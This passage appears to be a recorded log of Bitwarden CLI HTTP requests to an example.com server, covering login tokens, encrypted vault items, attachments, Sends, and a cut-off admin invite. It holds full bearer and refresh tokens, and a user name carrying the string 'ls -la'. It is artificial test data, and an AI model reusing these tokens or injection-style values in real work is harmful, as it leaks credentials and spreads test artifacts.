8mJliy3ZJNgcihK6hd075mL1UYVlTiZyvowCL5k3wxU2g9Rd0D9ToqlHNtnQo1yDXJPKGeZHGlC9ZYwnP097Psm0TFKwaFM_iccp6tyiFrYSZZJhI6f7LLil1_7b8QiJEQ4SSyl3Ohuk8zbxzfxVMGhNBt8z_7UQheQHXF9Og-8wmu0I0W0BLrfOxdG48CSITKE79xebghu6-bA", "Content-Type: application/json; charset=utf-8", "Bitwarden-Client-Name: cli", "Bitwarden-Client-Version: 2026.10.1", "Content-Length: 2160", "Accept-Encoding: gzip,deflate", "Host: example.com", "Connection: keep-alive"], "body": "{\"type\":1,\"encryptedFor\":\"a43d6bb6-8efc-4dbe-ad25-0565eff91d6b\",\"encryptedByKeyId\":\"549cd3b87c242101679813f95c7c6cac\",\"folderId\":\"c237cd82-467a-4c5d-9497-289558b53894\",\"name\":\"2.P99thPhZ8yi0obN+aJOgvA==|jzcU50oxWCuy4b2bPRw2+LDq5Og5lLCZOyvL5pMDc/E=|JiBejhJunSS+XVUW/Uo+vYidLb3zNfUhMVSWjiy42eo=\",\"notes\":\"2.Hw002B4MhHkPVO4JToKlxA==|1g9FwMpzT1UGBOncxX7shwm2yMxfUI0O9s49k4CV0/vVDBQrRaotpFPN0sxVn0OLggTmYFzq8dhWrAWO6DRa6A==|JY7HrcgYqrpOzZHw0czw3An+UkFU1kU7QsaDQqIcbbk=\",\"favorite\":false,\"lastKnownRevisionDate\":\"2026-11-10T03:40:14.010Z\",\"reprompt\":0,\"key\":\"2.ZM+ErmwLiCetQLjk9t/Oqg==|Aa9GdluVzjeTt2qqFl6KbQ0ukwH1kMbAiz0/1bJd/NnT0EJ3fFlk4X1bscVzjIPSqGAt7ggEE+fDI6fTvkRxKSPrqsbDsNGX8JPW9vHx9Zk=|9duEQAJnwhB/E6uLsqQSlIRuGgDfagV30mOvvuj80P8=\",\"login\":{\"response\":null,\"uris\":[{\"response\":null,\"match\":null,\"uri\":\"2.iOMlG/0XNVAHTmFrZddb8g==|Bt8bQs6w9epzMM7OuZ5dBgKCSEmURqZPFGgbXXm5ztI=|g7UF0P+YztGy6PytQFT6RXUjH1fdF7SG7R3DLVNhW/w=\",\"uriChecksum\":\"2.JN/HmEqKJhV803j+rHqs0A==|lfXikwVg+yqMt/lqqYvk0ukvhcNStZbQQQwhU9CmckJ9a0vcf5o+ML8CzOI1Cxg6|MMkk+eNG3l/JWWGHelMVH2h7xah6P5k0zlz7EyR/06o=\"}],\"username\":\"2.c+0PsXOl4s5B0+uhH4oE6w==|LXgqO7vSpM/j0eBShayQOA==|qIJJfQbJxnKMuVCuAJA3S2fmnzOGIweovHrwnKDOQJk=\",\"password\":\"2.FjnIHbhJGaoR2StT8coYkA==|WoAeX6Hw8CgMkwmjwEvVYMCcYZ2BKEpzECHz/6w9OlE=|TE5vJ8bmzqpUCqMrKbx8rz4qlS1k35tDVuVVLbvdkTg=\",\"passwordRevisionDate\":null,\"totp\":null},\"fields\":[{\"response\":null,\"type\":0,\"name\":\"2.zipY6yLZkD7MwvVSLiuyuA==|T+Wp7CrWBwn8PEzPcqcavw==|EbZounb3oq0nPunJ9y7AjPWHXzC/Ggi7rOHMKQPlJ3Y=\",\"value\":\"2.V4pDbZ3DNE4QWHq6rWMduw==|t6N7i9tEc7xWvyGh6bqj7hxiHg1Q1Uq7uOhzoR71vxc=|uohBxB9Z7on7oKLjdEjNPxqFIpdNdVWz7Mi8OJJXYfU=\"}],\"attachments\":{\"27064510a3e9ed1edca1\":\"2.F7lrsv4ucgMxXw65lX/0MQ==|KhQVy5AQjJ4SV8GdjAi1qw==|DFi1foiVzgOlem4WVpqdkzQlBrj1w7G9Z7B1KQTJgpo=\"},\"attachments2\":{\"27064510a3e9ed1edca1\":{\"fileName\":\"2.F7lrsv4ucgMxXw65lX/0MQ==|KhQVy5AQjJ4SV8GdjAi1qw==|DFi1foiVzgOlem4WVpqdkzQlBrj1w7G9Z7B1KQTJgpo=\",\"lastKnownRevisionDate\":\"2026-11-10T03:40:14.010Z\",\"key\":\"2.pXQDG+au9m/hF4Gz0wGm9Q==|qjUHtPXPerxvYsoWCKcoTBDJhZrCWo23RmmKeglraQNLFZEPWlQslGmGfuwKQfm7qswjqcgQxi2CiBRG9esHcds4UfnyDmuEVqU5k6vxMrM=|2dLbqTZefL7q6L3aIbqL6ccGBBKVlZ4unOCsVMWIAyE=\"}}}"}
|
||||
{"method": "GET", "target": "/api/ciphers/7e721342-473b-4155-ba2f-c753499f0a63/attachment/27064510a3e9ed1edca1", "headers": ["Device-Type: 25", "User-Agent: Bitwarden_CLI/2026.10.1 (LINUX)", "Accept: application/json", "Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJuYmYiOjE3OTQyODE5OTYsImV4cCI6MTc5NDI4OTE5NiwiaXNzIjoiaHR0cHM6Ly9leGFtcGxlLmNvbXxsb2dpbiIsInN1YiI6ImE0M2Q2YmI2LThlZmMtNGRiZS1hZDI1LTA1NjVlZmY5MWQ2YiIsInByZW1pdW0iOnRydWUsIm5hbWUiOiJBbGljZSBscyAtbGEiLCJlbWFpbCI6ImFsaWNlQGV4YW1wbGUuY29tIiwiZW1haWxfdmVyaWZpZWQiOnRydWUsInNzdGFtcCI6IjJkZmJkMWU5LTczZWYtNGJmYy1hNWE3LTZkODA1MzYyMTUyNyIsImRldmljZSI6ImNjZmI0ZmRlLTJlMTctNGY1Zi04YjE1LTQ2NjM0YjM2MDAyZiIsImRldmljZXR5cGUiOiJMaW51eCBDTEkiLCJjbGllbnRfaWQiOiJjbGkiLCJzY29wZSI6WyJhcGkiLCJvZmZsaW5lX2FjY2VzcyJdLCJhbXIiOlsiQXBwbGljYXRpb24iXX0.HX1GL9ZkUccD192d8BH-q7pMIkVlX3QfByqVymhWDDXVt30SIAESVa7aHNIDiOGTWeaUH8rjh3hXC7giC_PEXxfvP-MzjwZkWeDLR0LqdMV32ziQK2_mkJ_zsTgidZJ-VZLyQfX8mJliy3ZJNgcihK6hd075mL1UYVlTiZyvowCL5k3wxU2g9Rd0D9ToqlHNtnQo1yDXJPKGeZHGlC9ZYwnP097Psm0TFKwaFM_iccp6tyiFrYSZZJhI6f7LLil1_7b8QiJEQ4SSyl3Ohuk8zbxzfxVMGhNBt8z_7UQheQHXF9Og-8wmu0I0W0BLrfOxdG48CSITKE79xebghu6-bA", "Cache-Control: no-store", "Pragma: no-cache", "Bitwarden-Client-Name: cli", "Bitwarden-Client-Version: 2026.10.1", "Accept-Encoding: gzip,deflate", "Host: example.com", "Connection: keep-alive"], "body": ""}
|
||||
{"method": "GET", "target": "/attachments/7e721342-473b-4155-ba2f-c753499f0a63/27064510a3e9ed1edca1?token=eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJuYmYiOjE3OTQyODIwMzIsImV4cCI6MTc5NDI4MjA5MiwiaXNzIjoiaHR0cHM6Ly9leGFtcGxlLmNvbXxmaWxlX2Rvd25sb2FkIiwic3ViIjoiN2U3MjEzNDItNDczYi00MTU1LWJhMmYtYzc1MzQ5OWYwYTYzIiwiZmlsZV9pZCI6IjI3MDY0NTEwYTNlOWVkMWVkY2ExIn0.hFu95tXJlLGjIcyFlyMXWWu5u7_ydoo77fYCi5c60vtgVYB6D7d9SWULqFNSCNPwf_SOjR_inp88mWFg1iH9s3y6g9AR_HcvMsdmDrioz-DDC_V54lrELUweDajL6wPBZrBI7Pi2OUIraJDzt_OZyeXdlw1VhlwWrm1MzvGxLBkDYMT8iHqeoWo78Of6qeJtBgpEPhQjaDgDALqyaYTR_-eVtqbJLGs3y8k75yQjj92ZjFMBDlXUpLWPEmDX_VfZsxUl-cm_YrpQ1Hmx_KqlcivwVQIBh4sRu7DFt-T2KBitRcihIKzksFZ46pJBaFnYw7oPo1BgP6dTd4eAlWLPVQ", "headers": ["Cache: no-cache", "Accept: */*", "User-Agent: node-fetch/1.0 (+https://github.com/bitinn/node-fetch)", "Accept-Encoding: gzip,deflate", "Host: example.com", "Connection: keep-alive"], "body": ""}
|
||||
{"method": "POST", "target": "/api/sends", "headers": ["Device-Type: 25", "User-Agent: Bitwarden_CLI/2026.10.1 (LINUX)", "Accept: application/json", "Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJuYmYiOjE3OTQyODE5OTYsImV4cCI6MTc5NDI4OTE5NiwiaXNzIjoiaHR0cHM6Ly9leGFtcGxlLmNvbXxsb2dpbiIsInN1YiI6ImE0M2Q2YmI2LThlZmMtNGRiZS1hZDI1LTA1NjVlZmY5MWQ2YiIsInByZW1pdW0iOnRydWUsIm5hbWUiOiJBbGljZSBscyAtbGEiLCJlbWFpbCI6ImFsaWNlQGV4YW1wbGUuY29tIiwiZW1haWxfdmVyaWZpZWQiOnRydWUsInNzdGFtcCI6IjJkZmJkMWU5LTczZWYtNGJmYy1hNWE3LTZkODA1MzYyMTUyNyIsImRldmljZSI6ImNjZmI0ZmRlLTJlMTctNGY1Zi04YjE1LTQ2NjM0YjM2MDAyZiIsImRldmljZXR5cGUiOiJMaW51eCBDTEkiLCJjbGllbnRfaWQiOiJjbGkiLCJzY29wZSI6WyJhcGkiLCJvZmZsaW5lX2FjY2VzcyJdLCJhbXIiOlsiQXBwbGljYXRpb24iXX0.HX1GL9ZkUccD192d8BH-q7pMIkVlX3QfByqVymhWDDXVt30SIAESVa7aHNIDiOGTWeaUH8rjh3hXC7giC_PEXxfvP-MzjwZkWeDLR0LqdMV32ziQK2_mkJ_zsTgidZJ-VZLyQfX8mJliy3ZJNgcihK6hd075mL1UYVlTiZyvowCL5k3wxU2g9Rd0D9ToqlHNtnQo1yDXJPKGeZHGlC9ZYwnP097Psm0TFKwaFM_iccp6tyiFrYSZZJhI6f7LLil1_7b8QiJEQ4SSyl3Ohuk8zbxzfxVMGhNBt8z_7UQheQHXF9Og-8wmu0I0W0BLrfOxdG48CSITKE79xebghu6-bA", "Content-Type: application/json; charset=utf-8", "Bitwarden-Client-Name: cli", "Bitwarden-Client-Version: 2026.10.1", "Content-Length: 588", "Accept-Encoding: gzip,deflate", "Host: example.com", "Connection: keep-alive"], "body": "{\"type\":0,\"name\":\"2.Glf0PYqRTgKbTbYgpI+Q+g==|wO4P+lM0rq5yx5N+xkn2GPygZNVhjavM9cEUx+/2v94=|A7qL3rWJYJ1SMF/bLBqsKCtRdAhLh03sOwsIQGeT9aU=\",\"notes\":null,\"maxAccessCount\":null,\"expirationDate\":null,\"deletionDate\":\"2026-11-17T03:40:35.145Z\",\"key\":\"2.SoeZ4DYOUa4BrN5D0TQXOg==|5+ezaYP0oWqGQ1Yek6IQgWrhuaYmNMmPllOSxGg6vkY=|s63lHmyzot7NxlrHTT7q4b5TxkePPUzRGHJXDt38dQI=\",\"emails\":null,\"disabled\":false,\"hideEmail\":false,\"authType\":2,\"text\":{\"response\":null,\"text\":\"2.TWB82gm1XTK1iTFEPabm9g==|Ujlmk+y66U+x+xlLYUI45H5LT9N4cS+QzWsM0muJ7eQ=|74rS/jBPmTXAZ2WgjfBtJDmhSPt41/xO3rjgAxFZEa4=\",\"hidden\":false}}"}
|
||||
{"method": "POST", "target": "/identity/connect/token", "headers": ["Accept: application/json", "Cache-Control: no-store", "Content-Type: application/x-www-form-urlencoded", "Device-Identifier: ccfb4fde-2e17-4f5f-8b15-46634b36002f", "Bitwarden-Client-Name: cli", "Bitwarden-Client-Version: 2026.10.1", "Device-Type: 25", "User-Agent: Bitwarden_CLI/2026.10.1 (LINUX)", "Content-Length: 90", "Accept-Encoding: gzip,deflate", "Host: example.com", "Connection: keep-alive"], "body": "client_id=send&grant_type=send_access&scope=api.send.access&send_id=DRVKX8U3Rpe3LZb9xIlbmw"}
|
||||
{"method": "POST", "target": "/api/sends/access", "headers": ["Device-Type: 25", "User-Agent: Bitwarden_CLI/2026.10.1 (LINUX)", "Accept: application/json", "Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJuYmYiOjE3OTQyODIwMzcsImV4cCI6MTc5NDI4MjE1NywiaXNzIjoiaHR0cHM6Ly9leGFtcGxlLmNvbXxzZW5kIiwic3ViIjoiMGQxNTRhNWYtYzUzNy00Njk3LWI3MmQtOTZmZGM0ODk1YjliIn0.JlU6uKcOckWNUE5p83uG1S2VuX1_ZH4T8kN1E1WuI2z305ICMAaTPys7NNAMTSP0trBFJnaW_mKBTAu891oRiO_cESJYEE80jf9wHbD4bdm93gAlGncfOvjFI5HFWc2pGVn2IaeJMfGPCmcmtHRu8fO3CxiyKFGeukQWsUGHeYuIXUufNa-mY9AOWTLEqPI0LPEBTT6OSOZMu9LziwM0KOD-TdAzl1y4qP2nD5WkOL3tn6-GUi_nh2us1Z66hI3fWebNQQ5FT7bimUBmPtnWZBcQR3VCM7vlnOHdTstwFPytZ-QThg79_vK1xrD8Ut9FVzfVNXeAu2yJ-QmTlhpAtw", "Device-Identifier: ccfb4fde-2e17-4f5f-8b15-46634b36002f", "Bitwarden-Client-Name: cli", "Bitwarden-Client-Version: 2026.10.1", "Content-Length: 0", "Accept-Encoding: gzip,deflate", "Host: example.com", "Connection: keep-alive"], "body": ""}
|
||||
{"method": "POST", "target": "/api/sends/file/v2", "headers": ["Device-Type: 25", "User-Agent: Bitwarden_CLI/2026.10.1 (LINUX)", "Accept: application/json", "Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJuYmYiOjE3OTQyODE5OTYsImV4cCI6MTc5NDI4OTE5NiwiaXNzIjoiaHR0cHM6Ly9leGFtcGxlLmNvbXxsb2dpbiIsInN1YiI6ImE0M2Q2YmI2LThlZmMtNGRiZS1hZDI1LTA1NjVlZmY5MWQ2YiIsInByZW1pdW0iOnRydWUsIm5hbWUiOiJBbGljZSBscyAtbGEiLCJlbWFpbCI6ImFsaWNlQGV4YW1wbGUuY29tIiwiZW1haWxfdmVyaWZpZWQiOnRydWUsInNzdGFtcCI6IjJkZmJkMWU5LTczZWYtNGJmYy1hNWE3LTZkODA1MzYyMTUyNyIsImRldmljZSI6ImNjZmI0ZmRlLTJlMTctNGY1Zi04YjE1LTQ2NjM0YjM2MDAyZiIsImRldmljZXR5cGUiOiJMaW51eCBDTEkiLCJjbGllbnRfaWQiOiJjbGkiLCJzY29wZSI6WyJhcGkiLCJvZmZsaW5lX2FjY2VzcyJdLCJhbXIiOlsiQXBwbGljYXRpb24iXX0.HX1GL9ZkUccD192d8BH-q7pMIkVlX3QfByqVymhWDDXVt30SIAESVa7aHNIDiOGTWeaUH8rjh3hXC7giC_PEXxfvP-MzjwZkWeDLR0LqdMV32ziQK2_mkJ_zsTgidZJ-VZLyQfX8mJliy3ZJNgcihK6hd075mL1UYVlTiZyvowCL5k3wxU2g9Rd0D9ToqlHNtnQo1yDXJPKGeZHGlC9ZYwnP097Psm0TFKwaFM_iccp6tyiFrYSZZJhI6f7LLil1_7b8QiJEQ4SSyl3Ohuk8zbxzfxVMGhNBt8z_7UQheQHXF9Og-8wmu0I0W0BLrfOxdG48CSITKE79xebghu6-bA", "Content-Type: application/json; charset=utf-8", "Bitwarden-Client-Name: cli", "Bitwarden-Client-Version: 2026.10.1", "Content-Length: 573", "Accept-Encoding: gzip,deflate", "Host: example.com", "Connection: keep-alive"], "body": "{\"type\":1,\"fileLength\":81,\"name\":\"2.fIOYeJ49y9bbSOIrTWB8Tg==|lG6dTyboxM1e9/rKOgjqj5M2K8LRDZkgK9PC7mY7+iM=|ovg9kGfYJiw+Z2fkoxlIGRUbLUQvZ7W6qKhg6Ii8eZY=\",\"notes\":null,\"maxAccessCount\":null,\"expirationDate\":null,\"deletionDate\":\"2026-11-17T03:40:40.356Z\",\"key\":\"2.e98n46q6Bbq67Cg8g+L2zg==|MPPYMlVRv6mjAEfJxdINlsbc1h1YjLBVxdqMp5RcwSM=|ptNOZ/K5QBYQfV5duCfbJyQLtDU+D9YWqMUIuBe7ZUY=\",\"emails\":null,\"disabled\":false,\"hideEmail\":false,\"authType\":2,\"file\":{\"response\":null,\"fileName\":\"2.hKZIecnzplq5vLcUpDnNiw==|ncRZKt9nZMucGFW9S+7VWQ==|35kqx0tvASf+JtuHDZ3l4zmlsr4DmZ9nEGwkUzmajUY=\"}}"}
|
||||
{"method": "POST", "target": "/api/sends/cd9f9460-4654-4101-8c4c-14f06f1e69ae/file/5a087a52eaa579657b04eeb443fe7d7019c97041706d0dc5087784d0e0f216dc", "headers": ["Device-Type: 25", "User-Agent: Bitwarden_CLI/2026.10.1 (LINUX)", "Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJuYmYiOjE3OTQyODE5OTYsImV4cCI6MTc5NDI4OTE5NiwiaXNzIjoiaHR0cHM6Ly9leGFtcGxlLmNvbXxsb2dpbiIsInN1YiI6ImE0M2Q2YmI2LThlZmMtNGRiZS1hZDI1LTA1NjVlZmY5MWQ2YiIsInByZW1pdW0iOnRydWUsIm5hbWUiOiJBbGljZSBscyAtbGEiLCJlbWFpbCI6ImFsaWNlQGV4YW1wbGUuY29tIiwiZW1haWxfdmVyaWZpZWQiOnRydWUsInNzdGFtcCI6IjJkZmJkMWU5LTczZWYtNGJmYy1hNWE3LTZkODA1MzYyMTUyNyIsImRldmljZSI6ImNjZmI0ZmRlLTJlMTctNGY1Zi04YjE1LTQ2NjM0YjM2MDAyZiIsImRldmljZXR5cGUiOiJMaW51eCBDTEkiLCJjbGllbnRfaWQiOiJjbGkiLCJzY29wZSI6WyJhcGkiLCJvZmZsaW5lX2FjY2VzcyJdLCJhbXIiOlsiQXBwbGljYXRpb24iXX0.HX1GL9ZkUccD192d8BH-q7pMIkVlX3QfByqVymhWDDXVt30SIAESVa7aHNIDiOGTWeaUH8rjh3hXC7giC_PEXxfvP-MzjwZkWeDLR0LqdMV32ziQK2_mkJ_zsTgidZJ-VZLyQfX8mJliy3ZJNgcihK6hd075mL1UYVlTiZyvowCL5k3wxU2g9Rd0D9ToqlHNtnQo1yDXJPKGeZHGlC9ZYwnP097Psm0TFKwaFM_iccp6tyiFrYSZZJhI6f7LLil1_7b8QiJEQ4SSyl3Ohuk8zbxzfxVMGhNBt8z_7UQheQHXF9Og-8wmu0I0W0BLrfOxdG48CSITKE79xebghu6-bA", "Content-Type: multipart/form-data;boundary=--------------------------cd31a7a799e8e9553f39d744", "Bitwarden-Client-Name: cli", "Bitwarden-Client-Version: 2026.10.1", "Accept: */*", "Content-Length: 416", "Accept-Encoding: gzip,deflate", "Host: example.com", "Connection: keep-alive"], "body": "----------------------------cd31a7a799e8e9553f39d744\r\nContent-Disposition: form-data; name=\"data\"; filename=\"2.hKZIecnzplq5vLcUpDnNiw==|ncRZKt9nZMucGFW9S+7VWQ==|35kqx0tvASf+JtuHDZ3l4zmlsr4DmZ9nEGwkUzmajUY=\"\r\nContent-Type: application/octet-stream\r\n\r\nAhGddhsKRanJRkfPJCMMp6ezfiWDHsnuvmwtF7N7UpvPnTnoowgSohWHxGCZ3ulQ8FxGy4JGqC5zUts9GZL/dLhORzIZirtS+le50pV3zlmx\r\n----------------------------cd31a7a799e8e9553f39d744--\r\n"}
|
||||
{"method": "POST", "target": "/identity/connect/token", "headers": ["Accept: application/json", "Cache-Control: no-store", "Content-Type: application/x-www-form-urlencoded", "Device-Identifier: ccfb4fde-2e17-4f5f-8b15-46634b36002f", "Bitwarden-Client-Name: cli", "Bitwarden-Client-Version: 2026.10.1", "Device-Type: 25", "User-Agent: Bitwarden_CLI/2026.10.1 (LINUX)", "Content-Length: 90", "Accept-Encoding: gzip,deflate", "Host: example.com", "Connection: keep-alive"], "body": "client_id=send&grant_type=send_access&scope=api.send.access&send_id=zZ-UYEZUQQGMTBTwbx5prg"}
|
||||
{"method": "POST", "target": "/api/sends/access/file/5a087a52eaa579657b04eeb443fe7d7019c97041706d0dc5087784d0e0f216dc", "headers": ["Device-Type: 25", "User-Agent: Bitwarden_CLI/2026.10.1 (LINUX)", "Accept: application/json", "Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJuYmYiOjE3OTQyODIwNDIsImV4cCI6MTc5NDI4MjE2MiwiaXNzIjoiaHR0cHM6Ly9leGFtcGxlLmNvbXxzZW5kIiwic3ViIjoiY2Q5Zjk0NjAtNDY1NC00MTAxLThjNGMtMTRmMDZmMWU2OWFlIn0.bBP1AOqOFHEZ9Kp5lnPPuoGpEUEVKbQe9w4LP8bVQR0mNzc8gf9X0YZ8TV8XU4rJatcvrJxf1YRPsuSL-M28cqIIBmzTXW9SzC9YwUe9DNH9zHmiTkgd9m7STn4_D8vCikyIGIpJj9wDWhNi3GGEtKjFC-luKlLS1F9KbLHhKC7iec6ZyaslQMCljBe7XeA7krTYy1ocvrAKCvkf5W_i3m7NjF-sYEvgxBg-rKHxVnJT893xvMBuAGtsnklmHEZbFZb3mgODOZ2SXAB8yOwWHQd8vcHV3Q4r7__dy2APzAgeKX1nuICV32qxs86hgkVwTTp8pldIaoJspD5dLkfexw", "Device-Identifier: ccfb4fde-2e17-4f5f-8b15-46634b36002f", "Bitwarden-Client-Name: cli", "Bitwarden-Client-Version: 2026.10.1", "Content-Length: 0", "Accept-Encoding: gzip,deflate", "Host: example.com", "Connection: keep-alive"], "body": ""}
|
||||
{"method": "GET", "target": "/api/sends/cd9f9460-4654-4101-8c4c-14f06f1e69ae/5a087a52eaa579657b04eeb443fe7d7019c97041706d0dc5087784d0e0f216dc?t=eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJuYmYiOjE3OTQyODIwNDIsImV4cCI6MTc5NDI4MjE2MiwiaXNzIjoiaHR0cHM6Ly9leGFtcGxlLmNvbXxzZW5kIiwic3ViIjoiY2Q5Zjk0NjAtNDY1NC00MTAxLThjNGMtMTRmMDZmMWU2OWFlLzVhMDg3YTUyZWFhNTc5NjU3YjA0ZWViNDQzZmU3ZDcwMTljOTcwNDE3MDZkMGRjNTA4Nzc4NGQwZTBmMjE2ZGMifQ.BvfmaV_eKuWeJSumz8-bXFCPsbWIZRCWB0Laoz6knCnInLj7YY4lxh2WY1h_gnp_pHjDOFKffmGxAlIjoeV_L2lMGxUZM-Fmcc1FOQNbphWfkdEMVfGUIX_todgUgXuhn9-uwAUdC4Ff9nif4Vdg6uVwW7lw7NaY9uym4vEUw1a3F_I7a3AI1S6k3bVrUCadJiBZV8vz2-66U3g4jgQaCpjgPF-7S7CyuaWcSIyuyZpwNxa3Zzvuz1ccOWxjxjhm8-n9jvMZ3FGDf7S6o86y-aOHVRMacu7ZwhvteAO3NIPtajnChwwso0Ay1pi_4va_Mmp-HV1gyd0jD43V-vSrSw", "headers": ["Cache: no-cache", "Accept: */*", "User-Agent: node-fetch/1.0 (+https://github.com/bitinn/node-fetch)", "Accept-Encoding: gzip,deflate", "Host: example.com", "Connection: keep-alive"], "body": ""}
|
||||
{"method": "PUT", "target": "/api/ciphers/7e721342-473b-4155-ba2f-c753499f0a63/delete", "headers": ["Device-Type: 25", "User-Agent: Bitwarden_CLI/2026.10.1 (LINUX)", "Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJuYmYiOjE3OTQyODE5OTYsImV4cCI6MTc5NDI4OTE5NiwiaXNzIjoiaHR0cHM6Ly9leGFtcGxlLmNvbXxsb2dpbiIsInN1YiI6ImE0M2Q2YmI2LThlZmMtNGRiZS1hZDI1LTA1NjVlZmY5MWQ2YiIsInByZW1pdW0iOnRydWUsIm5hbWUiOiJBbGljZSBscyAtbGEiLCJlbWFpbCI6ImFsaWNlQGV4YW1wbGUuY29tIiwiZW1haWxfdmVyaWZpZWQiOnRydWUsInNzdGFtcCI6IjJkZmJkMWU5LTczZWYtNGJmYy1hNWE3LTZkODA1MzYyMTUyNyIsImRldmljZSI6ImNjZmI0ZmRlLTJlMTctNGY1Zi04YjE1LTQ2NjM0YjM2MDAyZiIsImRldmljZXR5cGUiOiJMaW51eCBDTEkiLCJjbGllbnRfaWQiOiJjbGkiLCJzY29wZSI6WyJhcGkiLCJvZmZsaW5lX2FjY2VzcyJdLCJhbXIiOlsiQXBwbGljYXRpb24iXX0.HX1GL9ZkUccD192d8BH-q7pMIkVlX3QfByqVymhWDDXVt30SIAESVa7aHNIDiOGTWeaUH8rjh3hXC7giC_PEXxfvP-MzjwZkWeDLR0LqdMV32ziQK2_mkJ_zsTgidZJ-VZLyQfX8mJliy3ZJNgcihK6hd075mL1UYVlTiZyvowCL5k3wxU2g9Rd0D9ToqlHNtnQo1yDXJPKGeZHGlC9ZYwnP097Psm0TFKwaFM_iccp6tyiFrYSZZJhI6f7LLil1_7b8QiJEQ4SSyl3Ohuk8zbxzfxVMGhNBt8z_7UQheQHXF9Og-8wmu0I0W0BLrfOxdG48CSITKE79xebghu6-bA", "Bitwarden-Client-Name: cli", "Bitwarden-Client-Version: 2026.10.1", "Accept: */*", "Content-Length: 0", "Accept-Encoding: gzip,deflate", "Host: example.com", "Connection: keep-alive"], "body": ""}
|
||||
{"method": "PUT", "target": "/api/ciphers/7e721342-473b-4155-ba2f-c753499f0a63/restore", "headers": ["Device-Type: 25", "User-Agent: Bitwarden_CLI/2026.10.1 (LINUX)", "Accept: application/json", "Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJuYmYiOjE3OTQyODE5OTYsImV4cCI6MTc5NDI4OTE5NiwiaXNzIjoiaHR0cHM6Ly9leGFtcGxlLmNvbXxsb2dpbiIsInN1YiI6ImE0M2Q2YmI2LThlZmMtNGRiZS1hZDI1LTA1NjVlZmY5MWQ2YiIsInByZW1pdW0iOnRydWUsIm5hbWUiOiJBbGljZSBscyAtbGEiLCJlbWFpbCI6ImFsaWNlQGV4YW1wbGUuY29tIiwiZW1haWxfdmVyaWZpZWQiOnRydWUsInNzdGFtcCI6IjJkZmJkMWU5LTczZWYtNGJmYy1hNWE3LTZkODA1MzYyMTUyNyIsImRldmljZSI6ImNjZmI0ZmRlLTJlMTctNGY1Zi04YjE1LTQ2NjM0YjM2MDAyZiIsImRldmljZXR5cGUiOiJMaW51eCBDTEkiLCJjbGllbnRfaWQiOiJjbGkiLCJzY29wZSI6WyJhcGkiLCJvZmZsaW5lX2FjY2VzcyJdLCJhbXIiOlsiQXBwbGljYXRpb24iXX0.HX1GL9ZkUccD192d8BH-q7pMIkVlX3QfByqVymhWDDXVt30SIAESVa7aHNIDiOGTWeaUH8rjh3hXC7giC_PEXxfvP-MzjwZkWeDLR0LqdMV32ziQK2_mkJ_zsTgidZJ-VZLyQfX8mJliy3ZJNgcihK6hd075mL1UYVlTiZyvowCL5k3wxU2g9Rd0D9ToqlHNtnQo1yDXJPKGeZHGlC9ZYwnP097Psm0TFKwaFM_iccp6tyiFrYSZZJhI6f7LLil1_7b8QiJEQ4SSyl3Ohuk8zbxzfxVMGhNBt8z_7UQheQHXF9Og-8wmu0I0W0BLrfOxdG48CSITKE79xebghu6-bA", "Bitwarden-Client-Name: cli", "Bitwarden-Client-Version: 2026.10.1", "Content-Length: 0", "Accept-Encoding: gzip,deflate", "Host: example.com", "Connection: keep-alive"], "body": ""}
|
||||
{"method": "POST", "target": "/identity/connect/token", "headers": ["Content-Type: application/x-www-form-urlencoded; charset=utf-8", "Accept: application/json", "Device-Type: 25", "User-Agent: Bitwarden_CLI/2026.10.1 (LINUX)", "Bitwarden-Client-Name: cli", "Bitwarden-Client-Version: 2026.10.1", "Content-Length: 707", "Accept-Encoding: gzip,deflate", "Host: example.com", "Connection: keep-alive"], "body": "grant_type=refresh_token&client_id=cli&refresh_token=eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJuYmYiOjE3OTQyODE5OTYsImV4cCI6MTc5Njg3Mzk5NiwiaXNzIjoiaHR0cHM6Ly9leGFtcGxlLmNvbXxsb2dpbiIsInN1YiI6InBhc3N3b3JkIiwiZGV2aWNlX3Rva2VuIjoiN0ZTNW1CcHIxZlJoMHdkZFBNZ0JPTGxid3Q2aW1CeWZja2p3M29HcU9NZFVUc01OSDU5dlQ2a0daUm5tT0xSdUFfYTZnalVKUFJBLThvUUlleWg2ZHc9PSIsInRva2VuIjpudWxsfQ.g8yTHdeqO507J6r5lc-ImMnTgv4ijYZKSX9JguMcKSu3fphEgKp0rPv5q56SwocChSoP9KLo7mw_PzVKvFLBP70p0NIJ6SaT26GLCy9B04gI5kiNmUT00H4-1wHUDVC_OwVLNLuTpiX-U--GdEtSSdcOqSCSo7epRyP0cCIuoZoYiDHM8uVY5DiBkzAB5wVi-_xgZPOJHVzddNq9506LqBJngbF1Bo5tVn_R8WhLmKK7mtI9tm52eOZaa5o6TXn1nNgZ3oNXcWDcyf6tj_M2fkhFOzgsuMg6YdeydOO20_GCuC0OLccj8RCzAZlMh-goA1v_yQF2RmoXJqfKBEbubA"}
|
||||
{"method": "POST", "target": "/admin/invite", "headers": ["Host: example.com", "Content-Length: 28", "Sec-Ch-Ua-Platform: \"Linux\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Content-Type: application/json", "Sec-Ch-Ua-Mobile: ?0", "Accept: */*", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: same-origin", "Sec-Fetch-Dest: empty", "Referer: https://example.com/admin/users/overview", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: 